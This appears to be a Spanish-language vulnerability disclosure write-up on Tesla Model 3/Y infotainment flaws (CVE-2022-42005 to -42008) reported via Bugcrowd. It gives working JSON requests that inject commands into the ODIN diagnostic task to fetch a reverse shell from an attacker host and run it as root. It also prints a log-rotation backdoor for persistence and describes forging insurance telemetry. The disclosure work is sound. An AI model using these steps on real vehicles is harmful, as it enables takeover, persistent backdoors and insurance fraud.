
Investigación de vulnerabilidades en sistemas de infoentretenimiento de Tesla Model 3/Y. 6 vulnerabilidades, 4 CVEs (CVE-2022-42005 a CVE-2022-42008). Shell root, acceso persistente, suplantación de telemetría de seguros.
Investigación de vulnerabilidades en el sistema de infoentretenimiento del Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), divulgadas de manera responsable a Tesla a través de Bugcrowd.
Se obtuvo acceso root persistente en un Tesla Model 3 de producción mediante una vulnerabilidad de inyección de comandos en la interfaz de diagnóstico ODIN de Tesla (CVE-2022-42008). A partir de ahí, se descubrieron cinco vulnerabilidades adicionales — incluyendo un método de persistencia que sobrevive a las actualizaciones de firmware (CVE-2022-42005, CVE-2022-42006) y un método para falsificar la telemetría del Safety Score (Puntuación de Seguridad) del seguro que redujo directamente las primas mensuales de $130 a $83.
Seis vulnerabilidades en ODIN, hermes y Safety Score. Cuatro CVEs. Recompensado a través de Bugcrowd e inscrito en el programa de Investigadores de Seguridad SSH de Tesla.
| Hallazgo | CVE | Impacto | Estado | Recompensa |
|---|---|---|---|---|
| Shell Root a través de ODIN | CVE-2022-42008 | Shell root mediante inyección de comandos | Corregido (2021.32.10) | Recompensa Bugcrowd |
| Tokens ODIN Expirados | CVE-2022-42007 | Reutilización de tokens mediante suplantación NTP | Corregido (2021.32.10) | Recompensa Bugcrowd |
| Subida a Mothership | — | Subida arbitraria de archivos a servidores de Tesla | Marcado como N/A | — |
| Backshell de Logs + Acceso DV | CVE-2022-42005, CVE-2022-42006 | Acceso persistente que sobrevive a actualizaciones de firmware | Corregido | Recompensa Bugcrowd |
| Suplantación de Telemetría de Seguro | — | Safety Score falsificado reduce primas de seguro | Sin corrección confirmada | — |
| ODIN Sin Fusible | — | Cualquier tarea ODIN sin autenticación | Sin corrección confirmada | — |
El sistema de infoentretenimiento del Tesla Model 3/Y (Intel Atom MCU) ejecuta un sistema operativo basado en Linux con varias superficies de ataque identificadas durante esta investigación:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+cliente) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Subidas a │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Informe 06│ │ (valores │ │ [Informe 03] │ │
│ │ (bypass │ │ de datos) │ │ [Informe 05] │ │
│ │ is-fused)│ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Rotación de │ │ │
│ │ │ Logs │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistencia)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Servidor │
│ │ │ │
│ CVE-42007 │ │ Subidas de │
│ (tokens │ │ archivos │
│ expirados)│ │ Datos de │
│ │ │ telemetría │
└─────────────┘ └──────────────────┘
Informes completos: Shell Root a través de ODIN | Backshell de Logs + Acceso DV
La interfaz de diagnóstico ODIN expone una tarea llamada TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK que acepta un parámetro MicTest-Input — una lista de cadenas pasadas directamente a CID_EXEC para su ejecución como root. Cualquier suscriptor con el nivel de acceso más bajo de Toolbox (tbx-external) puede activar esta tarea conectándose al puerto de diagnóstico del coche y enviando una solicitud POST. Las cadenas de entrada se ejecutan textualmente, por lo que el ataque consta de dos solicitudes: primero, descargar un script de shell inverso en el coche mediante curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Luego ejecutarlo:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Una vez establecido un shell root, se logra acceso persistente secuestrando la configuración de rotación de logs de svlogd. El comando estándar de compresión gzip se reemplaza con un script que abre un backshell bajo la cuenta log cada vez que los logs rotan:
!sh /var/log/wpa_supplicant/gzip.sh -c
El archivo de configuración se hace inmutable con chattr +i, asegurando que sobreviva a las actualizaciones de firmware. Si bien la cuenta log no puede usar el comando estándar sdv para establecer valores de datos (dbus lo rechaza), el prototype_server inactivo de Tesla proporciona acceso websocket sin restricciones a todos los valores de datos cuando se habilita mediante settings.conf. Un conjunto personalizado de scripts de shell (sdv, lv, send.sh) emulan un cliente websocket para interactuar con este servidor.
El kit de herramientas de persistencia completo se controla a través del cuadro de entrada del Código de Acceso del coche (visible manteniendo presionado el modelo del coche en la pantalla táctil), que es monitoreado por un script de escucha que ejecuta comandos — incluyendo abrir backshells, establecer valores de datos y alternar modos de servicio.